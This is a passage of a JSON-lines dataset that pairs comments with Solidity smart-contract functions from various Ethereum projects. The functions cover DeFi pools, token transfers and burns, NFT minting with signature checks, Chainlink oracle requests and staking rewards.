address[] calldata subjects\n )\n external\n override\n {\n require(_allowedToLowerFlags(), \"Not allowed to lower flags\");\n\n for (uint256 i = 0; i < subjects.length; i++) {\n address subject = subjects[i];\n\n _tryToLowerFlag(subject);\n }\n }", "version": "0.8.6"} {"comment": "/// @dev getCurrentPriceLP returns the current exchange rate of LP token.", "function_code": "function getCurrentPriceLP()\r\n public\r\n override\r\n view\r\n returns (uint256 nowPrice)\r\n {\r\n (uint256 reserveA, uint256 reserveB) = getFloatReserve(\r\n address(0),\r\n WBTC_ADDR\r\n );\r\n uint256 totalLPs = IBurnableToken(lpToken).totalSupply();\r\n // decimals of totalReserved == 8, lpDecimals == 8, decimals of rate == 8\r\n nowPrice = totalLPs == 0\r\n ? initialExchangeRate\r\n : (reserveA.add(reserveB)).mul(lpDecimals).div(\r\n totalLPs.add(lockedLPTokensForNode)\r\n );\r\n return nowPrice;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Owner can withdraw the remaining ETH balance as long as amount of minted tokens is\r\n * less than 1 token (due to possible rounding leftovers)\r\n *\r\n */", "function_code": "function sweepVault(address payable _operator) public onlyPrimary {\r\n //1 initially minted + 1 possible rounding corrections\r\n require(communityToken.totalSupply() < 2 ether, 'Sweep available only if no minted tokens left');\r\n require(address(this).balance > 0, 'Vault is empty');\r\n _operator.transfer(address(this).balance);\r\n emit LogEthSent(address(this).balance, _operator);\r\n }", "version": "0.5.2"} {"comment": "// A function used in case of strategy failure, possibly due to bug in the platform our strategy is using, governance can stop using it quick", "function_code": "function emergencyStopStrategy() external onlyGovernance {\r\n depositsOpen = false;\r\n if(currentStrategy != StabilizeStrategy(address(0)) && totalSupply() > 0){\r\n currentStrategy.exit(); // Pulls all the tokens and accessory tokens from the strategy \r\n }\r\n currentStrategy = StabilizeStrategy(address(0));\r\n _timelockType = 0; // Prevent governance from changing to new strategy without timelock\r\n }", "version": "0.6.6"} {"comment": "// --------------------\n// Change the treasury address\n// --------------------", "function_code": "function startChangeStrategy(address _address) external onlyGovernance {\r\n _timelockStart = now;\r\n _timelockType = 2;\r\n _timelock_address = _address;\r\n _pendingStrategy = _address;\r\n if(totalSupply() == 0){\r\n // Can change strategy with one call in this case\r\n finishChangeStrategy();\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @dev getDepositFeeRate returns deposit fees rate\n/// @param _token The address of target token.\n/// @param _amountOfFloat The amount of float.", "function_code": "function getDepositFeeRate(address _token, uint256 _amountOfFloat)\r\n public\r\n override\r\n view\r\n returns (uint256 depositFeeRate)\r\n {\r\n uint8 isFlip = _checkFlips(_token, _amountOfFloat);\r\n if (isFlip == 1) {\r\n depositFeeRate = _token == WBTC_ADDR ? depositFeesBPS : 0;\r\n } else if (isFlip == 2) {\r\n depositFeeRate = _token == address(0) ? depositFeesBPS : 0;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/// @dev getActiveNodes returns active nodes list (stakes and amount)", "function_code": "function getActiveNodes() public override view returns (bytes32[] memory) {\r\n uint256 nodeCount = 0;\r\n uint256 count = 0;\r\n // Seek all nodes\r\n for (uint256 i = 0; i < nodeAddrs.length; i++) {\r\n if (nodes[nodeAddrs[i]] != 0x0) {\r\n nodeCount = nodeCount.add(1);\r\n }\r\n }\r\n bytes32[] memory _nodes = new bytes32[](nodeCount);\r\n for (uint256 i = 0; i < nodeAddrs.length; i++) {\r\n if (nodes[nodeAddrs[i]] != 0x0) {\r\n _nodes[count] = nodes[nodeAddrs[i]];\r\n count = count.add(1);\r\n }\r\n }\r\n return _nodes;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Searches a sorted `array` and returns the first index that contains\r\n * a value greater or equal to `element`. If no such index exists (i.e. all\r\n * values in the array are strictly less than `element`), the array length is\r\n * returned. Time complexity O(log n).\r\n *\r\n * `array` is expected to be sorted in ascending order, and to contain no\r\n * repeated elements.\r\n */", "function_code": "function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {\r\n if (array.length == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 low = 0;\r\n uint256 high = array.length;\r\n\r\n while (low < high) {\r\n uint256 mid = Math.average(low, high);\r\n\r\n // Note that mid will always be strictly less than high (i.e. it will be a valid array index)\r\n // because Math.average rounds down (it does integer division with truncation).\r\n if (array[mid] > element) {\r\n high = mid;\r\n } else {\r\n low = mid + 1;\r\n }\r\n }\r\n\r\n // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.\r\n if (low > 0 && array[low - 1] == element) {\r\n return low - 1;\r\n } else {\r\n return low;\r\n }\r\n }", "version": "0.8.4"} {"comment": "// DEPERECATED:", "function_code": "function getAllRatesForDEX(\r\n IERC20 fromToken,\r\n IERC20 toToken,\r\n uint256 amount,\r\n uint256 parts,\r\n uint256 disableFlags\r\n ) public view returns(uint256[] memory results) {\r\n results = new uint256[](parts);\r\n for (uint i = 0; i < parts; i++) {\r\n (results[i],) = getExpectedReturn(\r\n fromToken,\r\n toToken,\r\n amount.mul(i + 1).div(parts),\r\n 1,\r\n disableFlags\r\n );\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev The main function of the contract. Should be called in the constructor function of the coin\r\n *\r\n * @param _guidelineSummary A summary of the guideline. The summary can be used as a title for\r\n * the guideline when it is retrieved and displayed on a front-end.\r\n *\r\n * @param _guideline The guideline itself.\r\n */", "function_code": "function setGuideline(string memory _guidelineSummary, string memory _guideline) internal {\r\n\r\n /**\r\n * @dev creating a new struct instance of the type Guideline and storing it in memory.\r\n */\r\n Guideline memory guideline = Guideline(_guidelineSummary, _guideline);\r\n\r\n /**\r\n * @dev pushing the struct created above in the guideline_struct array.\r\n */\r\n guidelines.push(guideline);\r\n\r\n\r\n /**\r\n * @dev Emit the GuidelineCreated event.\r\n */\r\n emit GuidelineCreated(_guidelineSummary, _guideline);\r\n\r\n /**\r\n * @dev Increment numberOfGuidelines by one.\r\n */\r\n numberOfGuidelines++;\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @dev function that converts an address into a string\r\n * NOTE: this function returns all lowercase letters. Ethereum addresses are not case sensitive.\r\n * However, because of this the address won't pass the optional checksum validation.\r\n */", "function_code": "function addressToString(address _address) internal pure returns(string memory) {\r\n bytes32 _bytes = bytes32(uint256(uint160(_address)));\r\n bytes memory HEX = \"0123456789abcdef\";\r\n bytes memory _string = new bytes(42);\r\n _string[0] = '0';\r\n _string[1] = 'x';\r\n for(uint i = 0; i < 20; i++) {\r\n _string[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];\r\n _string[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];\r\n }\r\n return string(_string);\r\n }", "version": "0.8.11"} {"comment": "/// @dev _rewardsCollection collects tx rewards.\n/// @param _feesToken The token address for collection fees.\n/// @param _rewardsAmount The amount of rewards.", "function_code": "function _rewardsCollection(address _feesToken, uint256 _rewardsAmount)\r\n internal\r\n {\r\n if (_rewardsAmount == 0) return;\r\n if (_feesToken == lpToken) {\r\n feesLPTokensForNode = feesLPTokensForNode.add(_rewardsAmount);\r\n emit RewardsCollection(_feesToken, _rewardsAmount, 0, 0);\r\n return;\r\n }\r\n // Get current LP token price.\r\n uint256 nowPrice = getCurrentPriceLP();\r\n // Add all fees into pool\r\n floatAmountOf[_feesToken] = floatAmountOf[_feesToken].add(\r\n _rewardsAmount\r\n );\r\n uint256 amountForNodes = _rewardsAmount.mul(nodeRewardsRatio).div(100);\r\n // Alloc LP tokens for nodes as fees\r\n uint256 amountLPTokensForNode = amountForNodes.mul(priceDecimals).div(\r\n nowPrice\r\n );\r\n // Add minted LP tokens for Nodes\r\n lockedLPTokensForNode = lockedLPTokensForNode.add(\r\n amountLPTokensForNode\r\n );\r\n emit RewardsCollection(\r\n _feesToken,\r\n _rewardsAmount,\r\n amountLPTokensForNode,\r\n nowPrice\r\n );\r\n }", "version": "0.7.5"} {"comment": "// Update balance and/or total supply snapshots before the values are modified. This is implemented\n// in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal virtual override {\r\n super._beforeTokenTransfer(from, to, amount);\r\n\r\n if (from == address(0)) {\r\n // mint\r\n _updateAccountSnapshot(to);\r\n _updateTotalSupplySnapshot();\r\n } else if (to == address(0)) {\r\n // burn\r\n _updateAccountSnapshot(from);\r\n _updateTotalSupplySnapshot();\r\n } else {\r\n // transfer\r\n _updateAccountSnapshot(from);\r\n _updateAccountSnapshot(to);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/* function to send tokens to a given address */", "function_code": "function transfer(address _to, uint256 _value) returns (bool success){\r\n require (now < startTime); //check if the crowdsale is already over\r\n require(msg.sender == owner && now < startTime + 1 years && safeSub(balanceOf[msg.sender],_value) < 1000000000); //prevent the owner of spending his share of tokens within the first year \r\n balanceOf[msg.sender] = safeSub(balanceOf[msg.sender],_value); // Subtract from the sender\r\n balanceOf[_to] = safeAdd(balanceOf[_to],_value); // Add the same to the recipient\r\n Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/* Transferfrom function*/", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {\r\n require (now < startTime && _from!=owner); //check if the crowdsale is already over \r\n require(_from == owner && now < startTime + 1 years && safeSub(balanceOf[_from],_value) < 1000000000);\r\n var _allowance = allowance[_from][msg.sender];\r\n balanceOf[_from] = safeSub(balanceOf[_from],_value); // Subtract from the sender\r\n balanceOf[_to] = safeAdd(balanceOf[_to],_value); // Add the same to the recipient\r\n allowance[_from][msg.sender] = safeSub(_allowance,_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/* To be called when ICO is closed, burns the remaining tokens but the D-WALLET FREEZE VAULT (1000000000) and the ones reserved\r\n * for the bounty program (24000000).\r\n * anybody may burn the tokens after ICO ended, but only once (in case the owner holds more tokens in the future).\r\n * this ensures that the owner will not posses a majority of the tokens. */", "function_code": "function burn(){\r\n \t//if tokens have not been burned already and the ICO ended\r\n \tif(!burned && now>endTime){\r\n \t\tuint difference = safeSub(balanceOf[owner], 1024000000);//checked for overflow above\r\n \t\tbalanceOf[owner] = 1024000000;\r\n \t\ttotalSupply = safeSub(totalSupply, difference);\r\n \t\tburned = true;\r\n \t\tBurned(difference);\r\n \t}\r\n }", "version": "0.4.16"} {"comment": "// Getting egg price by id and quality", "function_code": "function getEggPrice(uint64 _petId, uint16 _quality) pure public returns(uint256 price) {\r\n \t\t\r\n uint64[6] memory egg_prices = [0, 150 finney, 600 finney, 3 ether, 12 ether, 600 finney];\r\n \r\n\t\tuint8 egg = 2;\r\n\t\r\n\t\tif(_quality > 55000)\r\n\t\t egg = 1;\r\n\t\t\t\r\n\t\tif(_quality > 26000 && _quality < 26500)\r\n\t\t\tegg = 3;\r\n\t\t\t\r\n\t\tif(_quality > 39100 && _quality < 39550)\r\n\t\t\tegg = 3;\r\n\t\t\t\r\n\t\tif(_quality > 31000 && _quality < 31250)\r\n\t\t\tegg = 4;\r\n\t\t\t\r\n\t\tif(_quality > 34500 && _quality < 35500)\r\n\t\t\tegg = 5;\r\n\t\t\t\r\n\t\tprice = egg_prices[egg];\r\n\t\t\r\n\t\tuint8 discount = 10;\r\n\t\t\r\n\t\tif(_petId<= 600)\r\n\t\t\tdiscount = 20;\r\n\t\tif(_petId<= 400)\r\n\t\t\tdiscount = 30;\r\n\t\tif(_petId<= 200)\r\n\t\t\tdiscount = 50;\r\n\t\tif(_petId<= 120)\r\n\t\t\tdiscount = 80;\r\n\t\t\r\n\t\tprice = price - (price*discount / 100);\r\n }", "version": "0.4.25"} {"comment": "// Save rewards for all referral levels", "function_code": "function applyReward(uint64 _petId, uint16 _quality) internal {\r\n \r\n uint8[6] memory rewardByLevel = [0,250,120,60,30,15];\r\n \r\n uint256 eggPrice = getEggPrice(_petId, _quality);\r\n \r\n uint64 _currentPetId = _petId;\r\n \r\n // make rewards for 5 levels\r\n for(uint8 level=1; level<=5; level++) {\r\n uint64 _parentId = petsInfo[_currentPetId].parentId;\r\n // if no parent referral - break\r\n if(_parentId == 0)\r\n break;\r\n \r\n // increase pet balance\r\n petsInfo[_parentId].amount+= eggPrice * rewardByLevel[level] / 1000;\r\n \r\n // get parent id from parent id to move to the next level\r\n _currentPetId = _parentId;\r\n }\r\n \r\n }", "version": "0.4.25"} {"comment": "/// @dev _addNode updates a staker's info.\n/// @param _addr The address of staker.\n/// @param _data The data of staker.\n/// @param _remove The flag to remove node.", "function_code": "function _addNode(\r\n address _addr,\r\n bytes32 _data,\r\n bool _remove\r\n ) internal returns (bool) {\r\n if (_remove) {\r\n delete nodes[_addr];\r\n return true;\r\n }\r\n if (!isInList[_addr]) {\r\n nodeAddrs.push(_addr);\r\n isInList[_addr] = true;\r\n }\r\n if (nodes[_addr] == 0x0) {\r\n nodes[_addr] = _data;\r\n }\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Make synchronization, available for any sender", "function_code": "function sync() external whenNotPaused {\r\n \r\n // Checking synchronization status\r\n require(petSyncEnabled);\r\n \r\n // Get supply of pets from parent contract\r\n uint64 petSupply = uint64(parentInterface.totalSupply());\r\n require(petSupply > lastPetId);\r\n\r\n // Synchronize pets \r\n for(uint8 i=0; i < syncLimit; i++)\r\n {\r\n lastPetId++;\r\n \r\n if(lastPetId > petSupply)\r\n {\r\n lastPetId = petSupply;\r\n break;\r\n }\r\n \r\n addPet(lastPetId);\r\n }\r\n }", "version": "0.4.25"} {"comment": "// Function of manual add pet ", "function_code": "function addPet(uint64 _id) internal {\r\n (uint64 birthTime, uint256 genes, uint64 breedTimeout, uint16 quality, address owner) = parentInterface.getPet(_id);\r\n \r\n uint16 gradeQuality = quality;\r\n\r\n // For first pets - bonus quality in grade calculating\r\n if(_id < 244)\r\n\t\t\tgradeQuality = quality - 13777;\r\n\t\t\t\r\n\t\t// Calculating seats in circle\r\n uint8 petGrade = getGradeByQuailty(gradeQuality);\r\n uint8 petSeats = seatsByGrade(petGrade);\r\n \r\n // Adding pet into circle\r\n addPetIntoCircle(_id, petSeats);\r\n \r\n // Save reward for each referral level\r\n applyReward(_id, quality);\r\n }", "version": "0.4.25"} {"comment": "// Function for automatic add pet", "function_code": "function automaticPetAdd(uint256 _price, uint16 _quality, uint64 _id) external {\r\n require(!petSyncEnabled);\r\n require(msg.sender == address(parentInterface));\r\n \r\n lastPetId = _id;\r\n \r\n // Calculating seats in circle\r\n uint8 petGrade = getGradeByQuailty(_quality);\r\n uint8 petSeats = seatsByGrade(petGrade);\r\n \r\n // Adding pet into circle\r\n addPetIntoCircle(_id, petSeats);\r\n \r\n // Save reward for each referral level\r\n applyRewardByAmount(_id, _price);\r\n }", "version": "0.4.25"} {"comment": "// Function for withdraw reward by pet owner", "function_code": "function withdrawReward(uint64 _petId) external whenNotPaused {\r\n \r\n // Get pet information\r\n PetInfo memory petInfo = petsInfo[_petId];\r\n \r\n // Get owner of pet from pet contract and check it\r\n (uint64 birthTime, uint256 genes, uint64 breedTimeout, uint16 quality, address petOwner) = parentInterface.getPet(_petId);\r\n require(petOwner == msg.sender);\r\n\r\n // Transfer reward\r\n msg.sender.transfer(petInfo.amount);\r\n \r\n // Change reward amount in pet information\r\n petInfo.amount = 0;\r\n petsInfo[_petId] = petInfo;\r\n }", "version": "0.4.25"} {"comment": "// Emergency reward sending by admin", "function_code": "function sendRewardByAdmin(uint64 _petId) external onlyOwner whenNotPaused {\r\n \r\n // Get pet information\r\n PetInfo memory petInfo = petsInfo[_petId];\r\n \r\n // Get owner of pet from pet contract and check it\r\n (uint64 birthTime, uint256 genes, uint64 breedTimeout, uint16 quality, address petOwner) = parentInterface.getPet(_petId);\r\n\r\n // Transfer reward\r\n petOwner.transfer(petInfo.amount);\r\n \r\n // Change reward amount in pet information\r\n petInfo.amount = 0;\r\n petsInfo[_petId] = petInfo;\r\n }", "version": "0.4.25"} {"comment": "// call update BEFORE all transfers", "function_code": "function update(address whom) private {\r\n // safety checks\r\n if (lastUpdated[whom] >= allocations.length) return;\r\n uint myBalance = balanceOf(whom);\r\n if (myBalance == 0) return;\r\n uint supply = totalSupply();\r\n // get data struct handy\r\n mapping(address=>uint) storage myRevenue = allocations[lastUpdated[whom]];\r\n mapping(address=>uint) storage myRevenueBooked = bookedRevenueDue[whom];\r\n for (uint i = 0; i < tokenList.length; i++) {\r\n uint value = myRevenue[tokenList[i]].mul(myBalance).div(supply);\r\n if (value != 0) {\r\n myRevenueBooked[tokenList[i]] = myRevenueBooked[tokenList[i]].add(value);\r\n }\r\n }\r\n lastUpdated[whom] = allocations.length;\r\n }", "version": "0.5.6"} {"comment": "// this function expects an allowance to have been made to allow tokens to be claimed to contract", "function_code": "function addRevenueInTokens(ERC20 token, uint value) public onlyOwner {\r\n allocations.length += 1;\r\n require(token.transferFrom(msg.sender, address(this),value),\"cannot slurp the tokens\");\r\n if (!tokensShared[address(token)]) {\r\n tokensShared[address(token)] = true;\r\n tokenList.push(address(token));\r\n }\r\n for (uint period = 0;period < allocations.length; period++) {\r\n allocations[period][address(token)] = allocations[period][address(token)].add(value);\r\n }\r\n }", "version": "0.5.6"} {"comment": "//int to string function.", "function_code": "function uint2str(uint256 _i)\r\n internal\r\n pure\r\n returns (string memory _uintAsString)\r\n {\r\n if (_i == 0) {\r\n return \"0\";\r\n }\r\n uint256 j = _i;\r\n uint256 len;\r\n while (j != 0) {\r\n len++;\r\n j /= 10;\r\n }\r\n bytes memory bstr = new bytes(len);\r\n uint256 k = len;\r\n while (_i != 0) {\r\n k = k - 1;\r\n uint8 temp = (48 + uint8(_i - (_i / 10) * 10));\r\n bytes1 b1 = bytes1(temp);\r\n bstr[k] = b1;\r\n _i /= 10;\r\n }\r\n return string(bstr);\r\n }", "version": "0.8.7"} {"comment": "//OwnerMinting Function. The team is reserving 100 Mechs from the 10,000 collection for promotional purposes and internal rewards.", "function_code": "function ownerMint(uint256 tokenQuant) public payable virtual onlyOwner {\r\n \r\n require(\r\n tokenCounter + tokenQuant < maxSupply,\r\n \"Would exceed max supply!\"\r\n );\r\n\r\n for (uint256 i; i < tokenQuant; i++) {\r\n _mint(msg.sender, tokenCounter);\r\n tokenCounter = tokenCounter + 1;\r\n }\r\n\r\n }", "version": "0.8.7"} {"comment": "//Function is named to generate a Method ID of 0x00007f6c to save gas", "function_code": "function whitelistMint_rhh(uint256 tokenQuant, bytes memory _whitelistToken)\r\n public\r\n payable\r\n virtual\r\n {\r\n \r\n require(\r\n (liveStatus == MintPhase.Whitelist) &&\r\n (whitelistSigner == recoverSigner_94g(_whitelistToken)),\r\n \"Either Whitelist Phase is not live or your Whitelist Code is invalid!\"\r\n );\r\n\r\n require(\r\n tokenCounter + tokenQuant < maxSupply,\r\n \"Would exceed max supply\"\r\n );\r\n\r\n require(\r\n msg.value == price * tokenQuant,\r\n \"Wrong amount of ETH sent - please check price!\"\r\n );\r\n\r\n require(\r\n addressToNumberOfTokensMinted[msg.sender] + tokenQuant < maxMint,\r\n \"Minting this many tokens takes you over your maximum amount!\"\r\n );\r\n\r\n // Increasing minted count in dictionary\r\n addressToNumberOfTokensMinted[msg.sender] += tokenQuant;\r\n\r\n for (uint256 i; i < tokenQuant; i++) {\r\n _mint(msg.sender, tokenCounter);\r\n tokenCounter = tokenCounter + 1;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Separating mint phases to reduce operations", "function_code": "function publicMint_1VS(uint256 tokenQuant) public payable virtual {\r\n require(\r\n liveStatus == MintPhase.Open,\r\n \"Mint Phase is not open to the public yet!\"\r\n );\r\n\r\n require(\r\n tokenCounter + tokenQuant < maxSupply,\r\n \"Would exceed max supply\"\r\n );\r\n\r\n require(\r\n msg.value == price * tokenQuant,\r\n \"Wrong amount of ETH sent - please check price!\"\r\n );\r\n\r\n require(\r\n addressToNumberOfTokensMinted[msg.sender] + tokenQuant < maxMint,\r\n \"Minting this many tokens takes you over your maximum amount!\"\r\n );\r\n\r\n // Increasing minted count in dictionary\r\n addressToNumberOfTokensMinted[msg.sender] += tokenQuant;\r\n\r\n for (uint256 i; i < tokenQuant; i++) {\r\n _mint(msg.sender, tokenCounter);\r\n tokenCounter = tokenCounter + 1;\r\n }\r\n }", "version": "0.8.7"} {"comment": "//Set the base path on Pinata.", "function_code": "function reveal(string memory base) public onlyOwner {\r\n require(\r\n mutableMetadata, // Check to make sure the collection hasn't been frozen before allowing the metadata to change\r\n \"Metadata is frozen on the blockchain forever\"\r\n );\r\n baseURI = base;\r\n emit executedReveal(tokenCounter - revealedMechs);\r\n revealedMechs = tokenCounter;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Creates the Chainlink request\r\n * @dev Stores the hash of the params as the on-chain commitment for the request.\r\n * Emits OracleRequest event for the Chainlink node to detect.\r\n * @param _sender The sender of the request\r\n * @param _payment The amount of payment given (specified in wei)\r\n * @param _specId The Job Specification ID\r\n * @param _callbackAddress The callback address for the response\r\n * @param _callbackFunctionId The callback function ID for the response\r\n * @param _nonce The nonce sent by the requester\r\n * @param _dataVersion The specified data version\r\n * @param _data The CBOR payload of the request\r\n */", "function_code": "function oracleRequest(\r\n address _sender,\r\n uint256 _payment,\r\n bytes32 _specId,\r\n address _callbackAddress,\r\n bytes4 _callbackFunctionId,\r\n uint256 _nonce,\r\n uint256 _dataVersion,\r\n bytes _data\r\n )\r\n external\r\n onlyLINK\r\n checkCallbackAddress(_callbackAddress)\r\n {\r\n bytes32 requestId = keccak256(abi.encodePacked(_sender, _nonce));\r\n require(commitments[requestId] == 0, \"Must use a unique ID\");\r\n // solhint-disable-next-line not-rely-on-time\r\n uint256 expiration = now.add(EXPIRY_TIME);\r\n\r\n commitments[requestId] = keccak256(\r\n abi.encodePacked(\r\n _payment,\r\n _callbackAddress,\r\n _callbackFunctionId,\r\n expiration\r\n )\r\n );\r\n\r\n emit OracleRequest(\r\n _specId,\r\n _sender,\r\n requestId,\r\n _payment,\r\n _callbackAddress,\r\n _callbackFunctionId,\r\n expiration,\r\n _dataVersion,\r\n _data);\r\n }", "version": "0.4.24"} {"comment": "//Extract the signer address for the whitelist verification.", "function_code": "function recoverSigner_94g(bytes memory _signature)\r\n internal\r\n view\r\n returns (address)\r\n {\r\n (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);\r\n bytes32 senderhash = keccak256(abi.encodePacked(msg.sender));\r\n bytes32 finalhash = keccak256(\r\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", senderhash)\r\n );\r\n\r\n return ecrecover(finalhash, v, r, s);\r\n }", "version": "0.8.7"} {"comment": "//Extract the components of the whitelist signature.", "function_code": "function splitSignature(bytes memory sig)\r\n public\r\n pure\r\n returns (\r\n bytes32 r,\r\n bytes32 s,\r\n uint8 v\r\n )\r\n {\r\n require(sig.length == 65, \"invalid signature length\");\r\n assembly {\r\n r := mload(add(sig, 32))\r\n s := mload(add(sig, 64))\r\n v := byte(0, mload(add(sig, 96)))\r\n }\r\n }", "version": "0.8.7"} {"comment": "// ============ Swap ============", "function_code": "function dodoSwapV2ETHToToken(\r\n address toToken,\r\n uint256 minReturnAmount,\r\n address[] memory dodoPairs,\r\n uint256 directions,\r\n bool isIncentive,\r\n uint256 deadLine\r\n )\r\n external\r\n override\r\n payable\r\n judgeExpired(deadLine)\r\n returns (uint256 returnAmount)\r\n {\r\n require(dodoPairs.length > 0, \"DODOV2Proxy01: PAIRS_EMPTY\");\r\n require(minReturnAmount > 0, \"DODOV2Proxy01: RETURN_AMOUNT_ZERO\");\r\n uint256 originGas = gasleft();\r\n \r\n uint256 originToTokenBalance = IERC20(toToken).balanceOf(msg.sender);\r\n IWETH(_WETH_).deposit{value: msg.value}();\r\n IWETH(_WETH_).transfer(dodoPairs[0], msg.value);\r\n\r\n for (uint256 i = 0; i < dodoPairs.length; i++) {\r\n if (i == dodoPairs.length - 1) {\r\n if (directions & 1 == 0) {\r\n IDODOV2(dodoPairs[i]).sellBase(msg.sender);\r\n } else {\r\n IDODOV2(dodoPairs[i]).sellQuote(msg.sender);\r\n }\r\n } else {\r\n if (directions & 1 == 0) {\r\n IDODOV2(dodoPairs[i]).sellBase(dodoPairs[i + 1]);\r\n } else {\r\n IDODOV2(dodoPairs[i]).sellQuote(dodoPairs[i + 1]);\r\n }\r\n }\r\n directions = directions >> 1;\r\n }\r\n\r\n returnAmount = IERC20(toToken).balanceOf(msg.sender).sub(originToTokenBalance);\r\n require(returnAmount >= minReturnAmount, \"DODOV2Proxy01: Return amount is not enough\");\r\n\r\n _dodoGasReturn(originGas);\r\n\r\n _execIncentive(isIncentive, _ETH_ADDRESS_, toToken);\r\n\r\n emit OrderHistory(\r\n _ETH_ADDRESS_,\r\n toToken,\r\n msg.sender,\r\n msg.value,\r\n returnAmount\r\n );\r\n }", "version": "0.6.9"} {"comment": "// Deposit LP tokens to VENIAdmin for VENI allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n require(!deposit_Paused , \"Deposit is currently not possible.\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accVENIPerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n safeVENITransfer(msg.sender, pending);\r\n }\r\n }\r\n if(_amount > 0) {\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accVENIPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Called by the Chainlink node to fulfill requests\r\n * @dev Given params must hash back to the commitment stored from `oracleRequest`.\r\n * Will call the callback address' callback function without bubbling up error\r\n * checking in a `require` so that the node can get paid.\r\n * @param _requestId The fulfillment request ID that must match the requester's\r\n * @param _payment The payment amount that will be released for the oracle (specified in wei)\r\n * @param _callbackAddress The callback address to call for fulfillment\r\n * @param _callbackFunctionId The callback function ID to use for fulfillment\r\n * @param _expiration The expiration that the node should respond by before the requester can cancel\r\n * @param _data The data to return to the consuming contract\r\n * @return Status if the external call was successful\r\n */", "function_code": "function fulfillOracleRequest(\r\n bytes32 _requestId,\r\n uint256 _payment,\r\n address _callbackAddress,\r\n bytes4 _callbackFunctionId,\r\n uint256 _expiration,\r\n bytes32 _data\r\n )\r\n external\r\n onlyAuthorizedNode\r\n isValidRequest(_requestId)\r\n returns (bool)\r\n {\r\n bytes32 paramsHash = keccak256(\r\n abi.encodePacked(\r\n _payment,\r\n _callbackAddress,\r\n _callbackFunctionId,\r\n _expiration\r\n )\r\n );\r\n require(commitments[_requestId] == paramsHash, \"Params do not match request ID\");\r\n withdrawableTokens = withdrawableTokens.add(_payment);\r\n delete commitments[_requestId];\r\n require(gasleft() >= MINIMUM_CONSUMER_GAS_LIMIT, \"Must provide consumer enough gas\");\r\n // All updates to the oracle's fulfillment should come before calling the\r\n // callback(addr+functionId) as it is untrusted.\r\n // See: https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern\r\n return _callbackAddress.call(_callbackFunctionId, _requestId, _data); // solhint-disable-line avoid-low-level-calls\r\n }", "version": "0.4.24"} {"comment": "// Withdraw LP tokens from VENIAdmin.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accVENIPerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n safeVENITransfer(msg.sender, pending);\r\n }\r\n if(_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accVENIPerShare).div(1e12);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// add total stake amount", "function_code": "function GetTotalStakeAmount() external view returns (uint256) {\r\n uint256 TotalMount = 0;\r\n\r\n for (uint256 i = 0; i < poolInfo.length; i++)\r\n {\r\n PoolInfo storage pool = poolInfo[i];\r\n\r\n if(pool.allocPoint > 0)\r\n {\r\n uint256 multiplier = getMultiplier(startBlock, block.number);\r\n TotalMount = TotalMount.add(multiplier.mul(veniPerBlock).mul(pool.allocPoint).div(totalAllocPoint)) ;\r\n }\r\n }\r\n\r\n return TotalMount;\r\n }", "version": "0.6.12"} {"comment": "//Single Token Stake -----------------------------------------------------------------------------------", "function_code": "function GetTotalStakeAmount_single(uint256 _pid) external view returns (uint256) {\r\n uint256 TotalMount = 0;\r\n\r\n SinglePoolInfo storage pool = poolInfo_single[_pid];\r\n\r\n uint256 currentBlock = block.number;\r\n if(pool.setEndBlock && currentBlock > pool.singleTokenEndBlock) {\r\n currentBlock = pool.singleTokenEndBlock;\r\n }\r\n\r\n uint256 multiplier = getMultiplier_single(_pid, pool.singleTokenStartBlock, currentBlock);\r\n TotalMount = multiplier.mul(pool.singlePerBlock);\r\n\r\n return TotalMount;\r\n }", "version": "0.6.12"} {"comment": "//============ CrowdPooling Functions (create & bid) ============", "function_code": "function createCrowdPooling(\r\n address baseToken,\r\n address quoteToken,\r\n uint256 baseInAmount,\r\n uint256[] memory timeLine,\r\n uint256[] memory valueList,\r\n bool isOpenTWAP,\r\n uint256 deadLine\r\n ) external override payable preventReentrant judgeExpired(deadLine) returns (address payable newCrowdPooling) 